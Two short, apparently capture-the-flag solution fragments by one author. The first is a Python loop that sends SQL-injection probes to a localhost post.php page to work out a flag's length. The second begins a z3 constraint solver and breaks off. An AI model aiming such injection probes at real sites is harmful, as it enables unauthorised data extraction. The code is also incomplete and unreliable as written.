mokhdzanifaeq

import requests

tmp = '0x'
flag = ''
length = 1

# get flag length
while True:
	r = requests.get('http://localhost/post.php?id=length(@bounty)-{}'.format(length - 1))
	if '1337' in r.content: break

mokhdzanifaeq

from z3 import *
from struct import pack

# define vars
LENGTH = 8
DEBUG = 0
Buf = [BitVec("%i" % i, 16) for i in range(LENGTH)]
solver = Solver()

solver.add(